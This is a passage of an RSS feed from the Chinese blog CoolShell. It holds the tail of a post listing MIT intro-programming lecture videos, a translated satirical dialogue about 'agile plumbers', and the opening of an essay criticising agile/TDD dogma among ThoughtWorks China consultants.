src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18/lec18.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">18: Presenting Simulation Results, Pylab, Plotting</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-18\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p17.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"19: Biased Random Walks, Distributions\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19\">&nbsp;</p>\n<p></a><a title=\"19: Biased Random Walks, Distributions\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19/lec19.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">19: Biased Random Walks, Distributions</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-19\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p18.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"20: Monte Carlo Simulations, Estimating pi\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20\">&nbsp;</p>\n<p></a><a title=\"20: Monte Carlo Simulations, Estimating pi\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20/lec20.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">20: Monte Carlo Simulations, Estimating pi</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-20\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p19.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"21: Validating Simulation Results, Curve Fitting, Linear Regression\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21\">&nbsp;</p>\n<p></a><a title=\"21: Validating Simulation Results, Curve Fitting, Linear Regression\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21/lec21.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">21: Validating Simulation Results, Curve Fitting, Linear Regression</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-21\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p20.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"22: Normal, Uniform, and Exponential Distributions\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22\">&nbsp;</p>\n<p></a><a title=\"22: Normal, Uniform, and Exponential Distributions\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22/lec22.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">22: Normal, Uniform, and Exponential Distributions</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-22\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p21.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"23: Stock Market Simulation\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23\">&nbsp;</p>\n<p></a><a title=\"23: Stock Market Simulation\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23/lec23.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">23: Stock Market Simulation</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-23\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p22.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<table width=\"100%\">\n<tbody>\n<tr>\n<td width=\"120\"><a title=\"24: Course Overview; What Do Computer Scientists Do?\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24\">&nbsp;</p>\n<p></a><a title=\"24: Course Overview; What Do Computer Scientists Do?\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24\"><img decoding=\"async\" src=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24/lec24.jpg\" alt=\"\" /></a></td>\n<td>\n<p class=\"mediatitle\">24: Course Overview; What Do Computer Scientists Do?</p>\n<p><a class=\"bullet medialink\" href=\"http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/lecture-24\">Youtube（英文字幕）</a></p>\n<p><a href=\"http://v.youku.com/v_playlist/f4862914o1p23.html\" target=\"_blank\">优酷（无字幕）</a></td>\n</tr>\n</tbody>\n</table>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4657.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/05/OSS-License-150x150.jpg\" alt=\"狗日的开源软件许可证\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4657.html\" class=\"wp_rp_title\">狗日的开源软件许可证</a></li><li ><a href=\"https://coolshell.cn/articles/2474.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2474.html\" class=\"wp_rp_title\">（麻省理工免费课程）C语言内存管理和C++面向对象编程</a></li><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/06/go-hardhat-150x150.png\" alt=\"Go编程模式：修饰器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17929.html\" class=\"wp_rp_title\">Go编程模式：修饰器</a></li><li ><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" alt=\"如何重构“箭头型”代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17757.html\" class=\"wp_rp_title\">如何重构“箭头型”代码</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3723.html\">（麻省理工免费课程）计算机科学和编程导论</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3723.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>171</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>敏捷水管工</title>\n\t\t<link>https://coolshell.cn/articles/3778.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3778.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 25 Feb 2011 00:39:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[pair-programming]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3778</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本文来自Terazen Technology Inc的创始人+CTO的 David Ing的《Agile Plumbers》（这也墙？），我的其文中的这个帮事翻...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3778.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>本文来自Terazen Technology Inc的创始人+CTO的 <a href=\"http://ca.linkedin.com/in/davidjing\" target=\"_blank\">David Ing</a>的《<a href=\"http://david.ing.name/2010/12/24/agile-plumbers/\" target=\"_blank\">Agile Plumbers</a>》（这也墙？），我的其文中的这个帮事翻译过来（和前些天发的<a title=\"SOAP的S是Simple\" href=\"https://coolshell.cn/articles/3585.html\">SOAP的S是Simple</a>异曲同工）。</p>\n<p>也许你会觉得这个比喻不恰当。但我想告诉你的是，这个故事告诉我们，教条主义和以方法论为中心的危险。<a title=\"十条不错的编程观点\" href=\"https://coolshell.cn/articles/2424.html\" target=\"_blank\">十条不错的编程观点</a>中第一条—— <strong>The only “best practice” you should be using all the time is “<span style=\"color: #ff0000;\">Use Your Brain</span>”.</strong></p>\n<p>————————————————————</p>\n<p>(门铃响……)</p>\n<p><strong>事主：</strong>啊, Agile 水管工吗？ 请进，感谢谢你们这么快就来了——这的确很紧急，我这真是很乱。</p>\n<p><strong>水管工1</strong>: 先生，没问题，我们就是敏捷的。在我给你做Presentation前，我先给你介绍一下我的两个同事。</p>\n<p><strong>事主</strong>：Presentation？啊，我们有时间吗？这的水已经流得到处都是了……</p>\n<p><strong>水管工1</strong>：……先生，我们必需坚持这个。我们只是想保证你能成为动态搜寻解决方法的一份子。你是我们的 champion sponsor，也就是我们团队内的 consultant！你可以提供一个白板给我们使用吗？</p>\n<p><strong>事主</strong>：我没听懂，你们不觉得这变复杂了吗？我觉得我应该告诉你们这水是从房子哪儿流出来的，就是那……</p>\n<p><strong>水管工2</strong>：你这有让我脱衣服的地儿吗？</p>\n<p><strong>事主</strong>：什么？</p>\n<p><span id=\"more-3778\"></span></p>\n<p><strong>水管工2</strong>：我要坐在你的浴盆里——我还需要肥皂和托鞋。因为我们运作的方法是“测试驱动”， Red, Green, Red。你可以看到我们是怎么驱动的……</p>\n<p><strong>事主</strong>：为什么你会需要这样做？水都从楼梯上流下来了，水管爆裂了，马桶堵了，你能现在就开始吗？</p>\n<p><strong>水管工3</strong>：非常不错的feedback——感谢你！你介意先填一下这些 3&#215;5 的卡片吗？我希望你能使用名词，让我们迭代一下刚才你说的“水灾……</p>\n<p><strong>水管工1</strong>：别那么着急，Domain Model 可以等的，让我们现在先生成一些想法——我们应该先把所有的业务需求都写出来，然后调查其动机。先生，是不是所有的功能都是 “关键业务’”？你能先给马桶评个等级吗？另外，如果你有100美金……</p>\n<p><strong>事主</strong>：你在开玩笑吗？你看，如果你们不能干这个，那么我就……</p>\n<p><strong>水管工2</strong>：我去拿个扳手。</p>\n<p><strong>事主</strong>：好！终于！等等，你就拿来一个扳手？可是你们有三个人哦。</p>\n<p><strong>水管工</strong>1：不这样的，先生！我还是在这里做个初始的Presentation，我一会就走了。但是，我还是会对项目的进度非常感兴趣的。我会打电话过来参加明天的 stand-up meeting。</p>\n<p><strong>水管工2</strong> ：另外，和你阐清一下，我们两个留下来的会分享同一把扳手，因为我们是结对水管工……</p>\n<p><strong>水管工3</strong>：……你能看到这会更有生产率，我们轮流使用这把扳手。并能保证很高的质量以及持续的工作激情！</p>\n<p><strong>事主</strong>：我没搞懂——你们以前应该就干过这个事了吗，不是吗？500美金的出场费还不能让你们有工作激情？</p>\n<p><strong>水管工1</strong>：你得想得长远一些，先生。你看，我们可以一起来经历整个过程。这是多么令人兴奋的事！我对此超级兴奋！</p>\n<p><strong>水管工</strong>2：哦，不。看看这个，这些是铜制的水管吗？有多少人在这住？</p>\n<p><strong>事主</strong>：什么？这个房子有5年了。就我和我太太在这里，但是你问这个是什么意思？</p>\n<p><strong>水管工3</strong>：嗯~~。我有些害怕，情况并没有那么简单！这些都是Legacy的水管，我们需要对它们做重构，而且，这些老的水管也无法适合我们新型的板手。重构看起来并不难……</p>\n<p><strong>水管工2</strong>：喔，我们可以使用新的在机场使用的防水层系统。另外，还有更多的工作需要花在一个大的O型环性能配置上， 但是这会让住在这里的数千人都到影响。我想，我们得做个迭代……</p>\n<p><strong>事主</strong>：什么？？！！</p>\n<p><strong>水管工1</strong>：先生，也许我们可以从你这做一些case study。我们可以为这里创新。让我们先安排一个游戏，这样我们可以进行一个头脑风暴。而最简单有可能做的事——先生，你有水桶吗？</p>\n<p><strong>事主</strong>：够了！你们给我滚出去！真是荒唐——很明显，你们根本不知道你们在做什么。给我滚出去！</p>\n<p><strong>水管工</strong>1：先生，我开始怀疑你根本没有一个Fackbook社交平台策略（Facebook Social Platform Strategy）用来做解决方案？</p>\n<p>————————————————</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/fight-150x150.jpg\" alt=\"“单元测试要做多细？”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8209.html\" class=\"wp_rp_title\">“单元测试要做多细？”</a></li><li ><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"Test-Driven Development？别逗了\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5531.html\" class=\"wp_rp_title\">Test-Driven Development？别逗了</a></li><li ><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"在新浪微博上关于敏捷的一些讨论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5143.html\" class=\"wp_rp_title\">在新浪微博上关于敏捷的一些讨论</a></li><li ><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Bob大叔和Jim Coplien对TDD的论战\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4891.html\" class=\"wp_rp_title\">Bob大叔和Jim Coplien对TDD的论战</a></li><li ><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"再谈敏捷和ThoughtWorks中国咨询师\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3745.html\" class=\"wp_rp_title\">再谈敏捷和ThoughtWorks中国咨询师</a></li><li ><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/feedback_cycle-150x150.jpg\" alt=\"[转]TDD到底美还是不美？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3766.html\" class=\"wp_rp_title\">[转]TDD到底美还是不美？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3778.html\">敏捷水管工</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3778.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>31</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>再谈敏捷和ThoughtWorks中国咨询师</title>\n\t\t<link>https://coolshell.cn/articles/3745.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3745.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 24 Feb 2011 10:23:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[TDD]]></category>\n\t\t<category><![CDATA[ThoughtWorks]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3745</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前言说明 之所以用了“再”，是因为之前的两篇文章—— 我在《那些炒作过度的技术和概念》中批评了ThoughtWorks中国咨询师的咨询方法是以一种接近于教条、炒...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3745.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3745.html\">再谈敏捷和ThoughtWorks中国咨询师</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<h4>前言说明</h4>\n<p>之所以用了“再”，是因为之前的两篇文章——</p>\n<ul>\n<li>我在《<a title=\"那些炒作过度的技术和概念\" href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a>》中批评了ThoughtWorks中国咨询师的咨询方法是以一种接近于教条、炒作、洗脑和电视购物的方法（虽然我心底觉得有时候有时候更像传销），当然，批评是没有意义的，所以我也给了中国ThoughtWorks那些年轻的咨询师们一些我认为有建设性的建议。</li>\n</ul>\n<ul>\n<li>我在《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a>》一文中列举了一些在实际中使用TDD可能会出现的问题和难题，以此来告诉大家在使用TDD时需要注意的东西。就像是在《<a href=\"https://coolshell.cn/articles/16.html\" target=\"_blank\">结对编程的利与弊</a>》说的一样，只有真正知道一件事情的利弊，你才能用好它。</li>\n</ul>\n<p>当然，这两篇文章都不可避免得招来了ThoughtWorks咨询师和Agile信仰者们的很多回复，我也有开始沉不住气回复了很多，当然，有一半以上的不是学术上的讨论，而是对我个人的攻击。甚至，在这两篇文章发布后，酷壳（CoolShell.cn）受到<a href=\"https://coolshell.cn/articles/3686.html\" target=\"_blank\">持续性的黑客攻击</a>。</p>\n<p>本来已经过去的事，今天却又发现这两篇文章的访问量和评论又上来了，才发现原来是InfoQ的这篇文章——《<a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" target=\"_blank\">虚拟座谈会：TDD有多美？</a>》，加上很多我在评论中的观点，以及ThoughtWorks和InfoQ之前给我的来信中谈到的一些观点。我很不自然地想把我的一些观点总结并罗列在这里。主要分成四块—— 1）<strong>我对整个事情的基本观点</strong>，2）<strong>对于方法论的观点，3）对于TW中国咨询师的观点</strong>，4）<strong>还有和TW和InfoQ住来信件中的观点</strong><strong>。</strong></p>\n<p><strong>————————————————</strong></p>\n<h4>基本观点</h4>\n<p>首先，我想说明一下我的基本观点。</p>\n<p><span id=\"more-3745\"></span></p>\n<p>一、<strong>真金不怕火炼</strong>。我就像大家一样，平时总是会或多或少的埋怨点什么。大街上有人随便做个事，你会和他较真吗？不会。这个事也一样，我就像大家茶余饭后批评房价和物价一样，你们没有必要那么较真，不值得这样小题大作（除非你们真的心虚了），如果你做得好的话，真金不怕火炼，我这点批评算得了什么。<strong>你们玩的是“敏捷”不是“敏感”</strong>。</p>\n<p>二、<strong>从正反面思考</strong>。我和大家一样，喜欢思考，喜欢从正面和反面一同思考问题，我有质疑的癖好，我希望大家都有这样的思考方式。注意，<strong>质疑的结果不是为了质疑而质疑，而是去寻找完整认识的一种方法</strong>。</p>\n<p>三、<strong>观点的自由</strong>。我不是一棍大打死一片的人，我不完全否定敏捷（我的那两篇文章都有一再说明过了），同时我也不会完全同意敏捷。我不会因为敏捷有不好的地方我一棍子打死，我同样不会因为敏捷的好处就大唱赞歌。任何事物都有好有坏，我寻求的是自由地发表我的观点。<strong>我反对观点的极端，但我追求观点的自由</strong>。</p>\n<p><strong>四、观点的不同。</strong>观点只有不同才会让人思路完整，观点只有不同才会迸发出火花，世界的进展正是因为有不同的观点。如果敏捷的咨询师和信仰者们不接受不同观点，不接受批评，那么你们将无法进步和发展，如果你们妄图让所有人都持认可敏捷的和谐观点，那么你们将会变得邪恶。<strong>没有批评，赞美也会变得没有意义</strong>。</p>\n<p><strong>————————————————</strong></p>\n<h4>对于敏捷方法论的观点</h4>\n<p>一、<strong>没有好的方法，只有适不适合的方法</strong>。正如没有好的设计，只有适不适合的设计一样。喜欢足球的朋友都知道，世界级的足球队中，巴西队玩的是个人艺术足球，德国队玩的是整体和纪律性足球，意大利玩的是防守型足球，但是他们都有夺世界杯冠军的实力，如果你硬要让巴西队去整意大利的风格，或是让德国整巴西的风格，那就悲剧了。<strong>敏捷是不会是适合所有人所有项目的，就像不是所有的人都有运动的天赋一样</strong>。</p>\n<p>二、<strong>软件开发的中心是人和项目，而不是方法</strong>。千万不要把方法放在中心，改变项目的性质和人的习惯去适应这个方法。正确的方法是，以人和项目为中心，了解项目中所有人的想法和做事的风格，以及项目的性质，从而决定采用什么样的方法。大家可以看看<a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" target=\"_blank\">InfoQ上那几个“专家”关于TDD的对话</a>，除了Google的测试经理外，其它人从到到尾谈的都是TDD方法，谈的都是如果要TDD，人应该怎么怎么样。<strong>这就是敏捷最大的问题——教条主义横行，以方法论为中心横行</strong>。我批判的就是这个！</p>\n<p>三、<strong>好的方法不是讲出来的，而是在实践中改善出来的</strong>。好的方法不用去讲出来的，而是从团队内部自发出来的。如果敏捷方法论很不错的话，那么应该会在现实中体现出来。<strong>真正好的方法是团队内部根据自身情况在不同的项目上使用的不同的方法</strong>。（注：请不要使用XUnit, Spring，ANT等程序框架举例，因为那些项目的用户是程序员）</p>\n<p>四，<strong>方法论不是一种理论</strong>。敏捷的鼓吹者说，TDD让你更关注设计，TDD更能了解需求。理论上，你可以把TDD拔到这样的高度，甚至更高的高度。可是具体实践上呢，你会发现在有压力的状态下你的程序员关注得更多的是测试过不过，在和用户沟通的时候，你会发现，根本没有一种好的方法论可以把需求完全搞清。如果TDD可以完全搞清需求，还要迭代干什么，直接waterfall了（其它关于TDD的观点请看我的文章《<a title=\"TDD并不是看上去的那么美\" href=\"https://coolshell.cn/articles/3649.html\">TDD并不是看上去的那么美</a>》）理论和实际的差别的很大的。</p>\n<p><strong>————————————————</strong></p>\n<h4><strong>对于ThoughtWorks咨询师的批评观点</strong></h4>\n<p>对于 下面这些言论，我就不一一点名了，因为我觉得这和咨询师没有关系，这和TW中国公司的管理理念有关系。</p>\n<ul>\n<li>中国ThoughtWorks某些咨询师通常在加入公司很短的时间内（1-2年），基本上都以被冠以“高级咨询师”。1-2年能做几个项目？我以为能给人做咨询的人都是在技能上让人佩服的那种人。20出头还是埋头苦干，努力学习，积累经验的时候，经验都不够，就可以给人咨询。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks某些咨询师们，喜欢翻译国外的书，但从不自己写书，他们喜欢blog，他们的blog里都里大量的Agile的方法，而很少有对技术的见解，以及技术细节知识性的文章，在他们的blog中，你很难看见代码。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks的咨询师们，喜欢参加各种研讨会，以及各种论坛，媒体采访。看看<a href=\"http://www.infoq.com/cn/articles/sofware-outsourcing-eco-crisis-3\" target=\"_blank\">这篇文章</a>，空洞，空洞，还是空洞。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks某些咨询师们大多都比较敏感，都是坚定不移的敏捷信徒。你别说有不同观点了，你就问个有点疑问的问题，他们就敏感了，就要反驳或是教育你了。</li>\n</ul>\n<ul>\n<li>中国ThoughtWorks某些咨询师们大多都很能说，和他们在一起，你基本上说不上话，就算说得上，他们也不会听你的，而且在不停地说教。大多数时候，他们都有很多的神一般的理论，比如：“你这不是真正的敏捷，真正的敏捷不是这样的”，“TDD中的T，是什么测试都无所谓。它就是设计。”，“TDD更强调设计，而不是测试本身。所以，TDD并不适用于菜鸟程序员。”，“你是在用锤子拔钉子”，“敏捷不需要文档，代码不需要注释”，“能学会的人他不需要看这些文字，不能学会的人他看了也是白看”，“它不是对不对的问题，它是可笑的”，“要使用一种设计方法，你就必须（1）会做设计；（2）做设计。它难在有些项目不做设计，有些人不会做设计”……</li>\n</ul>\n<p>大家可以看看<a href=\"http://www.infoq.com/cn/articles/virtual-panel-tdd\" 